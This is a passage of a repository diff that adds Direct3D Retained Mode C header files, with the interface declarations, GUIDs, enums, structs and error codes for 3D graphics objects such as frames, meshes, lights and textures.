DWORD dwNumLocks; /* counts number of texture locks */
DWORD dwNumGetDCs; /* counts number of GetDCs to textures */
} D3DDEVINFO_TEXTURING, *LPD3DDEVINFO_TEXTURING;
#endif /* DIRECT3D_VERSION >= 0x0700 */
#endif //(DIRECT3D_VERSION < 0x0800)
#pragma pack()
#endif /* _D3DCAPS_H_ */
#endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) */
#pragma endregion

94
client/d3d/d3drm.h Normal file
View File

@@ -0,0 +1,94 @@
/* $Revision: 1.2 $ */
#ifndef _LCC__D3DRM_H__
#define _LCC__D3DRM_H__
#include "ddraw.h"
#include "d3drmobj.h"
typedef void (*D3DRMDEVICEPALETTECALLBACK)(LPDIRECT3DRMDEVICE,LPVOID,DWORD,LONG,LONG,LONG);
DEFINE_GUID(IID_IDirect3DRM, 0x2bc49361, 0x8327, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
WIN_TYPES(IDirect3DRM, DIRECT3DRM);
STDAPI Direct3DRMCreate(LPDIRECT3DRM *lplpDirect3DRM);
#undef INTERFACE
#define INTERFACE IDirect3DRM
DECLARE_INTERFACE_(IDirect3DRM, IUnknown)
{
IUNKNOWN_METHODS(PURE);
STDMETHOD(CreateObject)
(THIS_ REFCLSID rclsid, LPUNKNOWN pUnkOuter, REFIID riid, LPVOID FAR* ppv) PURE;
STDMETHOD(CreateFrame) (THIS_ LPDIRECT3DRMFRAME, LPDIRECT3DRMFRAME *) PURE;
STDMETHOD(CreateMesh) (THIS_ LPDIRECT3DRMMESH *) PURE;
STDMETHOD(CreateMeshBuilder)(THIS_ LPDIRECT3DRMMESHBUILDER *) PURE;
STDMETHOD(CreateFace) (THIS_ LPDIRECT3DRMFACE *) PURE;
STDMETHOD(CreateAnimation) (THIS_ LPDIRECT3DRMANIMATION *) PURE;
STDMETHOD(CreateAnimationSet)(THIS_ LPDIRECT3DRMANIMATIONSET *) PURE;
STDMETHOD(CreateTexture) (THIS_ LPD3DRMIMAGE, LPDIRECT3DRMTEXTURE *) PURE;
STDMETHOD(CreateLight) (THIS_ D3DRMLIGHTTYPE, D3DCOLOR, LPDIRECT3DRMLIGHT *) PURE;
STDMETHOD(CreateLightRGB)
(THIS_ D3DRMLIGHTTYPE, D3DVALUE, D3DVALUE, D3DVALUE, LPDIRECT3DRMLIGHT *) PURE;
STDMETHOD(CreateMaterial) (THIS_ D3DVALUE, LPDIRECT3DRMMATERIAL *) PURE;
STDMETHOD(CreateDevice) (THIS_ DWORD, DWORD, LPDIRECT3DRMDEVICE *) PURE;
STDMETHOD(CreateDeviceFromSurface)
( THIS_ LPGUID lpGUID, LPDIRECTDRAW lpDD,
LPDIRECTDRAWSURFACE lpDDSBack, LPDIRECT3DRMDEVICE *
) PURE;
STDMETHOD(CreateDeviceFromD3D)
( THIS_ LPDIRECT3D lpD3D, LPDIRECT3DDEVICE lpD3DDev,
LPDIRECT3DRMDEVICE *
) PURE;
STDMETHOD(CreateDeviceFromClipper)
( THIS_ LPDIRECTDRAWCLIPPER lpDDClipper, LPGUID lpGUID,
int width, int height, LPDIRECT3DRMDEVICE *) PURE;
STDMETHOD(CreateTextureFromSurface)(THIS_ LPDIRECTDRAWSURFACE lpDDS, LPDIRECT3DRMTEXTURE *) PURE;
STDMETHOD(CreateShadow)
( THIS_ LPDIRECT3DRMVISUAL, LPDIRECT3DRMLIGHT,
D3DVALUE px, D3DVALUE py, D3DVALUE pz,
D3DVALUE nx, D3DVALUE ny, D3DVALUE nz,
LPDIRECT3DRMVISUAL *
) PURE;
STDMETHOD(CreateViewport)
( THIS_ LPDIRECT3DRMDEVICE, LPDIRECT3DRMFRAME, DWORD, DWORD,
DWORD, DWORD, LPDIRECT3DRMVIEWPORT *
) PURE;
STDMETHOD(CreateWrap)
( THIS_ D3DRMWRAPTYPE, LPDIRECT3DRMFRAME,
D3DVALUE ox, D3DVALUE oy, D3DVALUE oz,
D3DVALUE dx, D3DVALUE dy, D3DVALUE dz,
D3DVALUE ux, D3DVALUE uy, D3DVALUE uz,
D3DVALUE ou, D3DVALUE ov,
D3DVALUE su, D3DVALUE sv,
LPDIRECT3DRMWRAP *
) PURE;
STDMETHOD(CreateUserVisual) (THIS_ D3DRMUSERVISUALCALLBACK, LPVOID lPArg, LPDIRECT3DRMUSERVISUAL *) PURE;
STDMETHOD(LoadTexture) (THIS_ const char *, LPDIRECT3DRMTEXTURE *) PURE;
STDMETHOD(LoadTextureFromResource) (THIS_ HRSRC rs, LPDIRECT3DRMTEXTURE *) PURE;
STDMETHOD(SetSearchPath) (THIS_ LPCSTR) PURE;
STDMETHOD(AddSearchPath) (THIS_ LPCSTR) PURE;
STDMETHOD(GetSearchPath) (THIS_ DWORD *size_return, LPSTR path_return);
STDMETHOD(SetDefaultTextureColors)(THIS_ DWORD) PURE;
STDMETHOD(SetDefaultTextureShades)(THIS_ DWORD) PURE;
STDMETHOD(GetDevices) (THIS_ LPDIRECT3DRMDEVICEARRAY *) PURE;
STDMETHOD(GetNamedObject) (THIS_ const char *, LPDIRECT3DRMOBJECT *) PURE;
STDMETHOD(EnumerateObjects) (THIS_ D3DRMOBJECTCALLBACK, LPVOID) PURE;
STDMETHOD(Load)
( THIS_ LPVOID, LPVOID, LPIID *, DWORD, D3DRMLOADOPTIONS,
D3DRMLOADCALLBACK, LPVOID, D3DRMLOADTEXTURECALLBACK, LPVOID,
LPDIRECT3DRMFRAME
) PURE;
STDMETHOD(Tick) (THIS_ D3DVALUE) PURE;
};
#define D3DRM_OK DD_OK
#define D3DRMERR_BADOBJECT MAKE_DDHRESULT(781)
#define D3DRMERR_BADTYPE MAKE_DDHRESULT(782)
#define D3DRMERR_BADALLOC MAKE_DDHRESULT(783)
#define D3DRMERR_FACEUSED MAKE_DDHRESULT(784)
#define D3DRMERR_NOTFOUND MAKE_DDHRESULT(785)
#define D3DRMERR_NOTDONEYET MAKE_DDHRESULT(786)
#define D3DRMERR_FILENOTFOUND MAKE_DDHRESULT(787)
#define D3DRMERR_BADFILE MAKE_DDHRESULT(788)
#define D3DRMERR_BADDEVICE MAKE_DDHRESULT(789)
#define D3DRMERR_BADVALUE MAKE_DDHRESULT(790)
#define D3DRMERR_BADMAJORVERSION MAKE_DDHRESULT(791)
#define D3DRMERR_BADMINORVERSION MAKE_DDHRESULT(792)
#define D3DRMERR_UNABLETOEXECUTE MAKE_DDHRESULT(793)
#endif

215
client/d3d/d3drmdef.h Normal file
View File

@@ -0,0 +1,215 @@
/* $Revision: 1.2 $ */
#ifndef __D3DRMDEFS_H__
#define __D3DRMDEFS_H__
#include <stddef.h>
#include "d3dtypes.h"
#define D3DRMAPI __stdcall
#ifndef TRUE
#define FALSE 0
#define TRUE 1
#endif
typedef struct _D3DRMVECTOR4D {
D3DVALUE x, y, z, w;
} D3DRMVECTOR4D, *LPD3DRMVECTOR4D;
typedef D3DVALUE D3DRMMATRIX4D[4][4];
typedef struct _D3DRMQUATERNION {
D3DVALUE s;
D3DVECTOR v;
} D3DRMQUATERNION, *LPD3DRMQUATERNION;
typedef struct _D3DRMBOX {
D3DVECTOR min, max;
} D3DRMBOX, *LPD3DRMBOX;
typedef void (*D3DRMWRAPCALLBACK) (LPD3DVECTOR, int*,int*,LPD3DVECTOR,LPD3DVECTOR,LPVOID);
typedef enum _D3DRMLIGHTTYPE {
D3DRMLIGHT_AMBIENT,
D3DRMLIGHT_POINT,
D3DRMLIGHT_SPOT,
D3DRMLIGHT_DIRECTIONAL,
D3DRMLIGHT_PARALLELPOINT
} D3DRMLIGHTTYPE, *LPD3DRMLIGHTTYPE;
typedef enum _D3DRMSHADEMODE {
D3DRMSHADE_FLAT = 0,
D3DRMSHADE_GOURAUD = 1,
D3DRMSHADE_PHONG = 2,
D3DRMSHADE_MASK = 7,
D3DRMSHADE_MAX = 8
} D3DRMSHADEMODE, *LPD3DRMSHADEMODE;
typedef enum _D3DRMLIGHTMODE {
D3DRMLIGHT_OFF = 0 * D3DRMSHADE_MAX,
D3DRMLIGHT_ON = 1 * D3DRMSHADE_MAX,
D3DRMLIGHT_MASK = 7 * D3DRMSHADE_MAX,
D3DRMLIGHT_MAX = 8 * D3DRMSHADE_MAX
} D3DRMLIGHTMODE, *LPD3DRMLIGHTMODE;
typedef enum _D3DRMFILLMODE {
D3DRMFILL_POINTS = 0 * D3DRMLIGHT_MAX,
D3DRMFILL_WIREFRAME = 1 * D3DRMLIGHT_MAX,
D3DRMFILL_SOLID = 2 * D3DRMLIGHT_MAX,
D3DRMFILL_MASK = 7 * D3DRMLIGHT_MAX,
D3DRMFILL_MAX = 8 * D3DRMLIGHT_MAX
} D3DRMFILLMODE, *LPD3DRMFILLMODE;
typedef DWORD D3DRMRENDERQUALITY, *LPD3DRMRENDERQUALITY;
#define D3DRMRENDER_WIREFRAME (D3DRMSHADE_FLAT+D3DRMLIGHT_OFF+D3DRMFILL_WIREFRAME)
#define D3DRMRENDER_UNLITFLAT (D3DRMSHADE_FLAT+D3DRMLIGHT_OFF+D3DRMFILL_SOLID)
#define D3DRMRENDER_FLAT (D3DRMSHADE_FLAT+D3DRMLIGHT_ON+D3DRMFILL_SOLID)
#define D3DRMRENDER_GOURAUD (D3DRMSHADE_GOURAUD+D3DRMLIGHT_ON+D3DRMFILL_SOLID)
#define D3DRMRENDER_PHONG (D3DRMSHADE_PHONG+D3DRMLIGHT_ON+D3DRMFILL_SOLID)
typedef enum _D3DRMTEXTUREQUALITY {
D3DRMTEXTURE_NEAREST,
D3DRMTEXTURE_LINEAR,
D3DRMTEXTURE_MIPNEAREST,
D3DRMTEXTURE_MIPLINEAR,
D3DRMTEXTURE_LINEARMIPNEAREST,
D3DRMTEXTURE_LINEARMIPLINEAR
} D3DRMTEXTUREQUALITY, *LPD3DRMTEXTUREQUALITY;
typedef enum _D3DRMCOMBINETYPE {
D3DRMCOMBINE_REPLACE,
D3DRMCOMBINE_BEFORE,
D3DRMCOMBINE_AFTER
} D3DRMCOMBINETYPE, *LPD3DRMCOMBINETYPE;
typedef D3DCOLORMODEL D3DRMCOLORMODEL, *LPD3DRMCOLORMODEL;
typedef enum _D3DRMPALETTEFLAGS {
D3DRMPALETTE_FREE,
D3DRMPALETTE_READONLY,
D3DRMPALETTE_RESERVED
} D3DRMPALETTEFLAGS, *LPD3DRMPALETTEFLAGS;
typedef struct _D3DRMPALETTEENTRY {
unsigned char red;
unsigned char green;
unsigned char blue;
unsigned char flags;
} D3DRMPALETTEENTRY, *LPD3DRMPALETTEENTRY;
typedef struct _D3DRMIMAGE {
int width, height;
int aspectx, aspecty;
int depth;
int rgb;
int bytes_per_line;
void* buffer1;
void* buffer2;
unsigned long red_mask;
unsigned long green_mask;
unsigned long blue_mask;
unsigned long alpha_mask;
int palette_size;
D3DRMPALETTEENTRY* palette;
} D3DRMIMAGE, *LPD3DRMIMAGE;
typedef enum _D3DRMWRAPTYPE {
D3DRMWRAP_FLAT,
D3DRMWRAP_CYLINDER,
D3DRMWRAP_SPHERE,
D3DRMWRAP_CHROME
} D3DRMWRAPTYPE, *LPD3DRMWRAPTYPE;
#define D3DRMWIREFRAME_CULL 1
#define D3DRMWIREFRAME_HIDDENLINE 2
typedef enum _D3DRMPROJECTIONTYPE {
D3DRMPROJECT_PERSPECTIVE,
D3DRMPROJECT_ORTHOGRAPHIC
} D3DRMPROJECTIONTYPE, *LPD3DRMPROJECTIONTYPE;
typedef enum _D3DRMXOFFORMAT {
D3DRMXOF_BINARY,
D3DRMXOF_COMPRESSED,
D3DRMXOF_TEXT
} D3DRMXOFFORMAT, *LPD3DRMXOFFORMAT;
typedef DWORD D3DRMSAVEOPTIONS;
#define D3DRMXOFSAVE_NORMALS 1
#define D3DRMXOFSAVE_TEXTURECOORDINATES 2
#define D3DRMXOFSAVE_MATERIALS 4
#define D3DRMXOFSAVE_TEXTURENAMES 8
#define D3DRMXOFSAVE_ALL 15
#define D3DRMXOFSAVE_TEMPLATES 16
typedef enum _D3DRMCOLORSOURCE {
D3DRMCOLOR_FROMFACE,
D3DRMCOLOR_FROMVERTEX
} D3DRMCOLORSOURCE, *LPD3DRMCOLORSOURCE;
typedef enum _D3DRMFRAMECONSTRAINT {
D3DRMCONSTRAIN_Z,
D3DRMCONSTRAIN_Y,
D3DRMCONSTRAIN_X
} D3DRMFRAMECONSTRAINT, *LPD3DRMFRAMECONSTRAINT;
typedef enum _D3DRMMATERIALMODE {
D3DRMMATERIAL_FROMMESH,
D3DRMMATERIAL_FROMPARENT,
D3DRMMATERIAL_FROMFRAME
} D3DRMMATERIALMODE, *LPD3DRMMATERIALMODE;
typedef enum _D3DRMFOGMODE {
D3DRMFOG_LINEAR,
D3DRMFOG_EXPONENTIAL,
D3DRMFOG_EXPONENTIALSQUARED
} D3DRMFOGMODE, *LPD3DRMFOGMODE;
typedef enum _D3DRMZBUFFERMODE {
D3DRMZBUFFER_FROMPARENT,
D3DRMZBUFFER_ENABLE,
D3DRMZBUFFER_DISABLE
} D3DRMZBUFFERMODE, *LPD3DRMZBUFFERMODE;
typedef enum _D3DRMSORTMODE {
D3DRMSORT_FROMPARENT,
D3DRMSORT_NONE,
D3DRMSORT_FRONTTOBACK,
D3DRMSORT_BACKTOFRONT
} D3DRMSORTMODE, *LPD3DRMSORTMODE;
typedef DWORD D3DRMANIMATIONOPTIONS;
#define D3DRMANIMATION_OPEN 1
#define D3DRMANIMATION_CLOSED 2
#define D3DRMANIMATION_LINEARPOSITION 4
#define D3DRMANIMATION_SPLINEPOSITION 8
#define D3DRMANIMATION_SCALEANDROTATION 16
#define D3DRMANIMATION_POSITION 32
typedef DWORD D3DRMLOADOPTIONS;
#define D3DRMLOAD_FROMFILE 0x00L
#define D3DRMLOAD_FROMRESOURCE 0x01L
#define D3DRMLOAD_FROMMEMORY 0x02L
#define D3DRMLOAD_FROMSTREAM 0x04L
#define D3DRMLOAD_BYNAME 0x10L
#define D3DRMLOAD_BYPOSITION 0x20L
#define D3DRMLOAD_BYGUID 0x40L
#define D3DRMLOAD_FIRST 0x80L
#define D3DRMLOAD_INSTANCEBYREFERENCE 0x100L
#define D3DRMLOAD_INSTANCEBYCOPYING 0x200L
typedef struct _D3DRMLOADRESOURCE {
HMODULE hModule;
LPCTSTR lpName;
LPCTSTR lpType;
} D3DRMLOADRESOURCE, *LPD3DRMLOADRESOURCE;
typedef struct _D3DRMLOADMEMORY {
LPVOID lpMemory;
DWORD dSize;
} D3DRMLOADMEMORY, *LPD3DRMLOADMEMORY;
typedef enum _D3DRMUSERVISUALREASON {
D3DRMUSERVISUAL_CANSEE,
D3DRMUSERVISUAL_RENDER
} D3DRMUSERVISUALREASON, *LPD3DRMUSERVISUALREASON;
typedef DWORD D3DRMMAPPING, D3DRMMAPPINGFLAG, *LPD3DRMMAPPING;
static const D3DRMMAPPINGFLAG D3DRMMAP_WRAPU = 1;
static const D3DRMMAPPINGFLAG D3DRMMAP_WRAPV = 2;
static const D3DRMMAPPINGFLAG D3DRMMAP_PERSPCORRECT = 4;
typedef struct _D3DRMVERTEX {
D3DVECTOR position;
D3DVECTOR normal;
D3DVALUE tu, tv;
D3DCOLOR color;
} D3DRMVERTEX, *LPD3DRMVERTEX;
typedef LONG D3DRMGROUPINDEX;
static const D3DRMGROUPINDEX D3DRMGROUP_ALLGROUPS = -1;
extern D3DCOLOR D3DRMAPI D3DRMCreateColorRGB(D3DVALUE,D3DVALUE,D3DVALUE);
extern D3DCOLOR D3DRMAPI D3DRMCreateColorRGBA(D3DVALUE,D3DVALUE,D3DVALUE,D3DVALUE);
extern D3DVALUE D3DRMAPI D3DRMColorGetRed(D3DCOLOR);
extern D3DVALUE D3DRMAPI D3DRMColorGetGreen(D3DCOLOR);
extern D3DVALUE D3DRMAPI D3DRMColorGetBlue(D3DCOLOR);
extern D3DVALUE D3DRMAPI D3DRMColorGetAlpha(D3DCOLOR);
extern LPD3DVECTOR D3DRMAPI D3DRMVectorAdd(LPD3DVECTOR,LPD3DVECTOR,LPD3DVECTOR);
extern LPD3DVECTOR D3DRMAPI D3DRMVectorSubtract(LPD3DVECTOR,LPD3DVECTOR,LPD3DVECTOR);
extern LPD3DVECTOR D3DRMAPI D3DRMVectorReflect(LPD3DVECTOR,LPD3DVECTOR,LPD3DVECTOR);
extern LPD3DVECTOR D3DRMAPI D3DRMVectorCrossProduct(LPD3DVECTOR,LPD3DVECTOR,LPD3DVECTOR);
extern D3DVALUE D3DRMAPI D3DRMVectorDotProduct(LPD3DVECTOR,LPD3DVECTOR);
extern LPD3DVECTOR D3DRMAPI D3DRMVectorNormalize(LPD3DVECTOR);
#define D3DRMVectorNormalise D3DRMVectorNormalize
extern D3DVALUE D3DRMAPI D3DRMVectorModulus(LPD3DVECTOR);
extern LPD3DVECTOR D3DRMAPI D3DRMVectorRotate(LPD3DVECTOR,LPD3DVECTOR,LPD3DVECTOR,D3DVALUE);
extern LPD3DVECTOR D3DRMAPI D3DRMVectorScale(LPD3DVECTOR,LPD3DVECTOR,D3DVALUE);
extern LPD3DVECTOR D3DRMAPI D3DRMVectorRandom(LPD3DVECTOR);
extern LPD3DRMQUATERNION D3DRMAPI D3DRMQuaternionFromRotation(LPD3DRMQUATERNION,LPD3DVECTOR,D3DVALUE);
extern LPD3DRMQUATERNION D3DRMAPI D3DRMQuaternionMultiply(LPD3DRMQUATERNION,LPD3DRMQUATERNION,LPD3DRMQUATERNION);
extern LPD3DRMQUATERNION D3DRMAPI D3DRMQuaternionSlerp(LPD3DRMQUATERNION,LPD3DRMQUATERNION,LPD3DRMQUATERNION,D3DVALUE);
extern void D3DRMAPI D3DRMMatrixFromQuaternion(D3DRMMATRIX4D,LPD3DRMQUATERNION);
#endif

531
client/d3d/d3drmobj.h Normal file
View File

@@ -0,0 +1,531 @@
/* $Revision: 1.2 $ */
#ifndef _LCC_D3DRMOBJ_H_
#define _LCC_D3DRMOBJ_H_
#include <objbase.h>
#define VIRTUAL
#include "d3drmdef.h"
#include "d3d.h"
#define IUNKNOWN_METHODS(kind) \
STDMETHOD(QueryInterface) (THIS_ REFIID riid, LPVOID *ppvObj) kind; \
STDMETHOD_(ULONG, AddRef) (THIS) kind; \
STDMETHOD_(ULONG, Release) (THIS) kind
#define IDIRECT3DRMOBJECT_METHODS(kind) \
STDMETHOD(Clone) (THIS_ LPUNKNOWN pUnkOuter, REFIID riid, LPVOID *ppvObj) kind; \
STDMETHOD(AddDestroyCallback) (THIS_ D3DRMOBJECTCALLBACK, LPVOID argument) kind; \
STDMETHOD(DeleteDestroyCallback) (THIS_ D3DRMOBJECTCALLBACK, LPVOID argument) kind; \
STDMETHOD(SetAppData) (THIS_ DWORD data) kind; \
STDMETHOD_(DWORD, GetAppData) (THIS) kind; \
STDMETHOD(SetName) (THIS_ LPCSTR) kind; \
STDMETHOD(GetName) (THIS_ LPDWORD lpdwSize, LPSTR lpName) kind; \
STDMETHOD(GetClassName) (THIS_ LPDWORD lpdwSize, LPSTR lpName) kind
#define WIN_TYPES(itype, ptype) typedef interface itype FAR *LP##ptype, FAR **LPLP##ptype
WIN_TYPES(IDirect3DRMObject, DIRECT3DRMOBJECT);
WIN_TYPES(IDirect3DRMDevice, DIRECT3DRMDEVICE);
WIN_TYPES(IDirect3DRMViewport, DIRECT3DRMVIEWPORT);
WIN_TYPES(IDirect3DRMFrame, DIRECT3DRMFRAME);
WIN_TYPES(IDirect3DRMVisual, DIRECT3DRMVISUAL);
WIN_TYPES(IDirect3DRMMesh, DIRECT3DRMMESH);
WIN_TYPES(IDirect3DRMMeshBuilder, DIRECT3DRMMESHBUILDER);
WIN_TYPES(IDirect3DRMFace, DIRECT3DRMFACE);
WIN_TYPES(IDirect3DRMLight, DIRECT3DRMLIGHT);
WIN_TYPES(IDirect3DRMTexture, DIRECT3DRMTEXTURE);
WIN_TYPES(IDirect3DRMWrap, DIRECT3DRMWRAP);
WIN_TYPES(IDirect3DRMMaterial, DIRECT3DRMMATERIAL);
WIN_TYPES(IDirect3DRMAnimation, DIRECT3DRMANIMATION);
WIN_TYPES(IDirect3DRMAnimationSet, DIRECT3DRMANIMATIONSET);
WIN_TYPES(IDirect3DRMUserVisual, DIRECT3DRMUSERVISUAL);
WIN_TYPES(IDirect3DRMShadow, DIRECT3DRMSHADOW);
WIN_TYPES(IDirect3DRMArray, DIRECT3DRMOBJECTARRAY);
WIN_TYPES(IDirect3DRMDeviceArray, DIRECT3DRMDEVICEARRAY);
WIN_TYPES(IDirect3DRMFaceArray, DIRECT3DRMFACEARRAY);
WIN_TYPES(IDirect3DRMViewportArray, DIRECT3DRMVIEWPORTARRAY);
WIN_TYPES(IDirect3DRMFrameArray, DIRECT3DRMFRAMEARRAY);
WIN_TYPES(IDirect3DRMVisualArray, DIRECT3DRMVISUALARRAY);
WIN_TYPES(IDirect3DRMPickedArray, DIRECT3DRMPICKEDARRAY);
WIN_TYPES(IDirect3DRMLightArray, DIRECT3DRMLIGHTARRAY);
DEFINE_GUID(CLSID_CDirect3DRMDevice, 0x4fa3568e, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(CLSID_CDirect3DRMViewport, 0x4fa3568f, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(CLSID_CDirect3DRMFrame, 0x4fa35690, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(CLSID_CDirect3DRMMesh, 0x4fa35691, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(CLSID_CDirect3DRMMeshBuilder, 0x4fa35692, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(CLSID_CDirect3DRMFace, 0x4fa35693, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(CLSID_CDirect3DRMLight, 0x4fa35694, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(CLSID_CDirect3DRMTexture, 0x4fa35695, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(CLSID_CDirect3DRMWrap, 0x4fa35696, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(CLSID_CDirect3DRMMaterial, 0x4fa35697, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(CLSID_CDirect3DRMAnimation, 0x4fa35698, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(CLSID_CDirect3DRMAnimationSet, 0x4fa35699, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(CLSID_CDirect3DRMUserVisual, 0x4fa3569a, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(CLSID_CDirect3DRMShadow, 0x4fa3569b, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMObject, 0xeb16cb00, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMDevice, 0xe9e19280, 0x6e05, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMViewport, 0xeb16cb02, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMFrame, 0xeb16cb03, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMVisual, 0xeb16cb04, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMMesh, 0xa3a80d01, 0x6e12, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMMeshBuilder, 0xa3a80d02, 0x6e12, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMFace, 0xeb16cb07, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMLight, 0xeb16cb08, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMTexture, 0xeb16cb09, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMWrap, 0xeb16cb0a, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMMaterial, 0xeb16cb0b, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMAnimation, 0xeb16cb0d, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMAnimationSet, 0xeb16cb0e, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMDeviceArray, 0xeb16cb10, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMViewportArray, 0xeb16cb11, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMFrameArray, 0xeb16cb12, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMVisualArray, 0xeb16cb13, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMLightArray, 0xeb16cb14, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMPickedArray, 0xeb16cb16, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMFaceArray, 0xeb16cb17, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMUserVisual, 0x59163de0, 0x6d43, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(IID_IDirect3DRMShadow, 0xaf359780, 0x6ba3, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
typedef void (CDECL *D3DRMOBJECTCALLBACK)(LPDIRECT3DRMOBJECT obj, LPVOID arg);
typedef void (CDECL *D3DRMFRAMEMOVECALLBACK)(LPDIRECT3DRMFRAME obj, LPVOID arg, D3DVALUE delta);
typedef void (CDECL *D3DRMUPDATECALLBACK)(LPDIRECT3DRMDEVICE obj, LPVOID arg, int, LPD3DRECT);
typedef int (CDECL *D3DRMUSERVISUALCALLBACK)(LPDIRECT3DRMUSERVISUAL,LPVOID,D3DRMUSERVISUALREASON,LPDIRECT3DRMDEVICE,LPDIRECT3DRMVIEWPORT);
typedef HRESULT (CDECL *D3DRMLOADTEXTURECALLBACK)(char *,void *,LPDIRECT3DRMTEXTURE *);
typedef void (CDECL *D3DRMLOADCALLBACK) (LPDIRECT3DRMOBJECT,REFIID,LPVOID);
typedef struct _D3DRMPICKDESC {
ULONG ulFaceIdx;
LONG lGroupIdx;
D3DVECTOR vPosition;
} D3DRMPICKDESC, *LPD3DRMPICKDESC;
#undef INTERFACE
#define INTERFACE IDirect3DRMObject
DECLARE_INTERFACE_(IDirect3DRMObject, IUnknown)
{
IUNKNOWN_METHODS(PURE);
IDIRECT3DRMOBJECT_METHODS(PURE);
};
#undef INTERFACE
#define INTERFACE IDirect3DRMVisual
DECLARE_INTERFACE_(IDirect3DRMVisual, IDirect3DRMObject)
{
IUNKNOWN_METHODS(PURE);
IDIRECT3DRMOBJECT_METHODS(PURE);
};
#undef INTERFACE
#define INTERFACE IDirect3DRMDevice
DECLARE_INTERFACE_(IDirect3DRMDevice, IDirect3DRMObject)
{
IUNKNOWN_METHODS(PURE);
IDIRECT3DRMOBJECT_METHODS(PURE);
STDMETHOD(Init)(THIS_ ULONG width, ULONG height) PURE;
STDMETHOD(InitFromD3D)(THIS_ LPDIRECT3D lpD3D, LPDIRECT3DDEVICE lpD3DDev) PURE;
